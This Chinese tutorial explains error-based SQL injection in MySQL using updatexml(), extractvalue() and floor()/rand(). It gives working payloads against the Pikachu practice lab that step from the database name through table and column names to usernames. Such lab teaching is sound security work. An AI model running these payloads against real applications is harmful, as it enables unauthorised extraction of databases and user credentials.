当前位置: 首页 > news >正文

SQL Inject-基于报错的信息获取

常用的用来报错的函数
updatexml() :   函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
extractvalue(): 函数也是MYSQL对XML文档数据进行查询的XPATH函数。
floor():             MYSQL中用来取整的函数。

思路:

在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。select / insert / update / delete 都可以使用报错来获取信息。

前提条件是后台没有屏蔽数据库报错信息,在语法发生错误时,会输出到前端。

updatexml()
Updatexm()函数作用: 改变(查找并替换) XML文档中符合条件的节点的值。
语法: UPDATEXML (xml document, XPathstring, new_value)

第一个参数: fiedname是String格式,为表中的字段名。
第二个参数: XPathstring (Xpath格式的字符串)。
第三个参数: new. value,String格式,替换查找到的符合条件的

Xpath定位必须是有效的,否则会发生错误。 

pikachu - 字符型注入(GET) 实验:

aa' and updatexml(1,concat(0x7e,database()),0)#// 0x7e  是 ~ 的十六进制 ,避免报错信息被吃掉;

如果没有concat ,而是aa' and updatexml(1,database(),0)#   

这样报错信息会少一部分,没法完全展示;

获取到了数据库名称 pikachu,我们可以把 database() 替换成任意我们想要获得的东西。

得到数据库名称后,根据数据库名,查询表名

aa' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu')),0)#
// 中间的select 语句要用() 括号括起来//查询报多于一行
aa' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu' limit 1)),0)#

使用上述语句,查到第一张表名;继续使用limit 1,1   或 limit 2,1 查询下去,可以把所有的表名查询出来; 或者burp suite  参数化查询把所有表查出来。

得到表名后,可以根据表名查询字段名

aa' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 0,1)),0)#

得到所有列名。可以根据列名获取数据

aa' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#


extractvalue()

extractvalue()函数作用:从目标XML中返回包含所查询值的字符串。
语法: ExtractValue(xm| _document, xpath. string)

第一个参数: XML document是String格式,为XML文档对象的名称,文中为Doc
第二个参数: XPath_ string (Xpath格式的字符串)

Xpath定位必须是有效的,否则会发生错误。
打开字符型注入,输入payload。

aa' and extractvalue(0,concat(0x7e,version()))#


效果差不多,理解以此类推即可。

floor()

原因:floor()报错注入的原因是 groupby 在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前 concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或数执行后的结果。

floor()函数:对传入的值进行向下取整操作,并返回结果,如floor(1.999),则返回1 ;

rand()函数,返回随机数

rand(x)函数,x在这里代表参数,当rand()函数有了参数后,生成的就是伪随机数,什么意思呢?比如你使用rand(0)产生的第一个随机数产生的随机数相同,也就是当rand(x)这个参数x已知的时候我们就能知道;

在字符型中输入payload得到版本号。

aa' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#


 

相关文章:

SQL Inject-基于报错的信息获取

常用的用来报错的函数 updatexml() : 函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。 extractvalue(): 函数也是MYSQL对XML文档数据进行查询的XPATH函数。 floor(): MYSQL中用来取整的函数。 思路: 在MySQL中使用一些指定的函数来制造报错&am…...

redistemplate宇jedis区别

redistemplate是Spring Data Redis提供的一个模板类,用于简化Redis操作的代码编写。它提供了常见的操作方法,如存储、读取、删除等,可以更方便地操作Redis数据库。 而Jedis是Redis官方推荐的Java客户端库之一。它提供了丰富的功能和灵活的接…...

JavaWeb--09Servlet深入:JavaWeb三层架构---注册系统

一套完整的网页到Java到数据库的创建: html:进行数据收集以及呈现 第一层:根据servlet处理前台html的响应和请求,对数据进行接收,封装和验证 第二层:业务,验证是否存在调用创建的dao查&#x…...

教育技术革新:SpringBoot在线教育系统开发指南

6系统测试 6.1概念和意义 测试的定义:程序测试是为了发现错误而执行程序的过程。测试(Testing)的任务与目的可以描述为: 目的:发现程序的错误; 任务:通过在计算机上执行程序,暴露程序中潜在的错误。 另一个…...

EasyAnimate

https://github.com/aigc-apps/EasyAnimate/blob/main/README_zh-CN.mdhttps://github.com/aigc-apps/EasyAnimate/blob/main/README_zh-CN.md EasyAnimate v4是一个用于生成高分辨率和长视频的端到端解决方案。我们可以训练基于转换器的扩散生成器,训练用于处理长视频的VAE,…...

Unity实现自定义图集(五)

以下内容是根据Unity 2020.1.0f1版本进行编写的   在Unity编辑器上的自定义图集已经完成了,但是如何将自定义图集文件打包,以及在移动平台将自定义图集和对应的纹理图(Texture)加载出来是个问题,本篇就来解决这些问题 1、思路 首先是自定义图集的打包。 自定义图集实际…...

2024年最佳平替电容笔对比:西圣、摩米士、倍思,哪款更适合你?

作为一位专注于数码产品的博主,我深知近年来平替电容笔在消费者中的热度不断攀升。这种电容笔以其亲民的价格和卓越的书写体验引起了广泛关注,尤其适合那些需要用iPad学习和办公的无纸化爱好者。 西圣这款自带充电仓的电容笔备受关注,尤其因…...

关系型数据库索引操作

前言:关系型数据库索引总结-作用,类型,适用场景,缺点简介 在MySQL、SQL Server、Oracle中,建立、修改、删除索引的操作有很多相似之处,但由于每个数据库系统的语法和特性不同,具体操作有一些差异。以下是三种数据库中关于索引操作…...

深度学习基础—卷积神经网络示例

1.卷积神经网络的结构 在之前的博客《深度学习—简单的卷积神经网络》,仅由卷积层构成网络的全部,这还不是标准的网络结构,本文将继续介绍标准的卷积神经网络结构有哪些? 深度学习基础—简单的卷积神经网络https://blog.csdn.net…...

vite学习教程03、vite+vue2打包配置

文章目录 前言一、修改vite.config.js二、配置文件资源/路径提示三、测试打包参考文章资料获取 前言 博主介绍:✌目前全网粉丝3W,csdn博客专家、Java领域优质创作者,博客之星、阿里云平台优质作者、专注于Java后端技术领域。 涵盖技术内容&…...

Java | Leetcode Java题解之第461题汉明距离

题目: 题解: class Solution {public int hammingDistance(int x, int y) {int s x ^ y, ret 0;while (s ! 0) {s & s - 1;ret;}return ret;} }...

ubuntu 开放 8080 端口快捷命令

文章目录 查看防火墙状态开放 80 端口开放 8080 端口开放 22端口开启防火墙重启防火墙**使用 xhell登录**: 查看防火墙状态 sudo ufw status [sudo] password for crf: Status: inactivesudo ufw enable Firewall is active and enabled on system startup sudo…...

关于头文件为什么要加条件编译语句

因为有些情况重复包含头文件会出现重复定义或者导致多次包含导致增加编译时间。 下述是没有假如条件编译和宏定义的例子: // common_functions.h int addTwoNumbers(int a, int b); // data_structures.h #include "common_functions.h"struct MyStruc…...

strstr

strstr函数原型: char *strstr(conset char *s, conset char *s2); 功能:在字符串s中查找字符串s2出现的位置 返回值: 成功:返回第一次出现的s2的地址 失败:NULL...

C语言 | Leetcode C语言题解之第454题四数相加II

题目&#xff1a; 题解&#xff1a; struct hashTable {int key;int val;UT_hash_handle hh; };int fourSumCount(int* A, int ASize, int* B, int BSize, int* C, int CSize, int* D, int DSize) {struct hashTable* hashtable NULL;for (int i 0; i < ASize; i) {for (…...

Leetcode 删除链表倒数第 N 个节点

算法思想&#xff1a; 使用了双指针法。下面是详细的算法思想&#xff1a; 1. 引入虚拟头节点&#xff08;dummy node&#xff09; 为了处理链表的一些边界情况&#xff08;比如删除头节点&#xff09;&#xff0c;我们在链表的头部引入了一个虚拟节点 dummy&#xff0c;并让…...

[移植] tgi 编译

这里写自定义目录标题 报错 报错 Collecting numpy1.26.4 (from -r requirements_cuda.txt (line 21))Downloading numpy-1.26.4.tar.gz (15.8 MB)━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 15.8/15.8 MB 15.0 MB/s eta 0:00:00Inst…...

vue-element-admin后台集成方案

文章目录 vue-element-admin后台集成方案介绍使用安装目录介绍 vue-element-admin后台集成方案 介绍 官方网站 https://panjiachen.github.io/vue-element-admin-site/zh/guide/#%E5%8A%9F%E8%83%BD使用 安装 这里有三个模板&#xff0c;我们一般选择基础模板进行开发就好…...

40条经典ChatGPT论文指令,圈定选题和进行论文构思

目录 1、用ChatGPT圈定选题范围2、用ChatGPT生成研究方法和思路3、用ChatGPT扩展论文观点和论证4、用ChatGPT辅助论文结构设计5、如何直接使用ChatGPT4o、o1、OpenAI Canvas6、OpenAI Canvas增强了啥&#xff1f;7、编程功能增强 &#x1f447; ChatGPT o1网页入口在文末&#…...

在不支持WSL2的Windows环境下安装Redis并添加环境变量的方法

如果系统版本支持 WSL 2 可跳过本教程。使用官网提供的教程即可 官网教程 查看是否支持 WSL 2 如果不支持或者觉得麻烦可以按照下面的方式安装 下载 点击打开下载地址 下载 zip 文件即可 安装 将下载的 zip 文件解压到自己想要解压的地方即可。&#xff08;注意&#x…...

地震勘探——干扰波识别、井中地震时距曲线特点

目录 干扰波识别反射波地震勘探的干扰波 井中地震时距曲线特点 干扰波识别 有效波&#xff1a;可以用来解决所提出的地质任务的波&#xff1b;干扰波&#xff1a;所有妨碍辨认、追踪有效波的其他波。 地震勘探中&#xff0c;有效波和干扰波是相对的。例如&#xff0c;在反射波…...

基于大模型的 UI 自动化系统

基于大模型的 UI 自动化系统 下面是一个完整的 Python 系统,利用大模型实现智能 UI 自动化,结合计算机视觉和自然语言处理技术,实现"看屏操作"的能力。 系统架构设计 #mermaid-svg-2gn2GRvh5WCP2ktF {font-family:"trebuchet ms",verdana,arial,sans-…...

页面渲染流程与性能优化

页面渲染流程与性能优化详解&#xff08;完整版&#xff09; 一、现代浏览器渲染流程&#xff08;详细说明&#xff09; 1. 构建DOM树 浏览器接收到HTML文档后&#xff0c;会逐步解析并构建DOM&#xff08;Document Object Model&#xff09;树。具体过程如下&#xff1a; (…...

鱼香ros docker配置镜像报错:https://registry-1.docker.io/v2/

使用鱼香ros一件安装docker时的https://registry-1.docker.io/v2/问题 一键安装指令 wget http://fishros.com/install -O fishros && . fishros出现问题&#xff1a;docker pull 失败 网络不同&#xff0c;需要使用镜像源 按照如下步骤操作 sudo vi /etc/docker/dae…...

实现弹窗随键盘上移居中

实现弹窗随键盘上移的核心思路 在Android中&#xff0c;可以通过监听键盘的显示和隐藏事件&#xff0c;动态调整弹窗的位置。关键点在于获取键盘高度&#xff0c;并计算剩余屏幕空间以重新定位弹窗。 // 在Activity或Fragment中设置键盘监听 val rootView findViewById<V…...

Spring数据访问模块设计

前面我们已经完成了IoC和web模块的设计&#xff0c;聪明的码友立马就知道了&#xff0c;该到数据访问模块了&#xff0c;要不就这俩玩个6啊&#xff0c;查库势在必行&#xff0c;至此&#xff0c;它来了。 一、核心设计理念 1、痛点在哪 应用离不开数据&#xff08;数据库、No…...

AI+无人机如何守护濒危物种?YOLOv8实现95%精准识别

【导读】 野生动物监测在理解和保护生态系统中发挥着至关重要的作用。然而&#xff0c;传统的野生动物观察方法往往耗时耗力、成本高昂且范围有限。无人机的出现为野生动物监测提供了有前景的替代方案&#xff0c;能够实现大范围覆盖并远程采集数据。尽管具备这些优势&#xf…...

Webpack性能优化:构建速度与体积优化策略

一、构建速度优化 1、​​升级Webpack和Node.js​​ ​​优化效果​​&#xff1a;Webpack 4比Webpack 3构建时间降低60%-98%。​​原因​​&#xff1a; V8引擎优化&#xff08;for of替代forEach、Map/Set替代Object&#xff09;。默认使用更快的md4哈希算法。AST直接从Loa…...

高分辨率图像合成归一化流扩展

大家读完觉得有帮助记得关注和点赞&#xff01;&#xff01;&#xff01; 1 摘要 我们提出了STARFlow&#xff0c;一种基于归一化流的可扩展生成模型&#xff0c;它在高分辨率图像合成方面取得了强大的性能。STARFlow的主要构建块是Transformer自回归流&#xff08;TARFlow&am…...

深入解析光敏传感技术:嵌入式仿真平台如何重塑电子工程教学

一、光敏传感技术的物理本质与系统级实现挑战 光敏电阻作为经典的光电传感器件&#xff0c;其工作原理根植于半导体材料的光电导效应。当入射光子能量超过材料带隙宽度时&#xff0c;价带电子受激发跃迁至导带&#xff0c;形成电子-空穴对&#xff0c;导致材料电导率显著提升。…...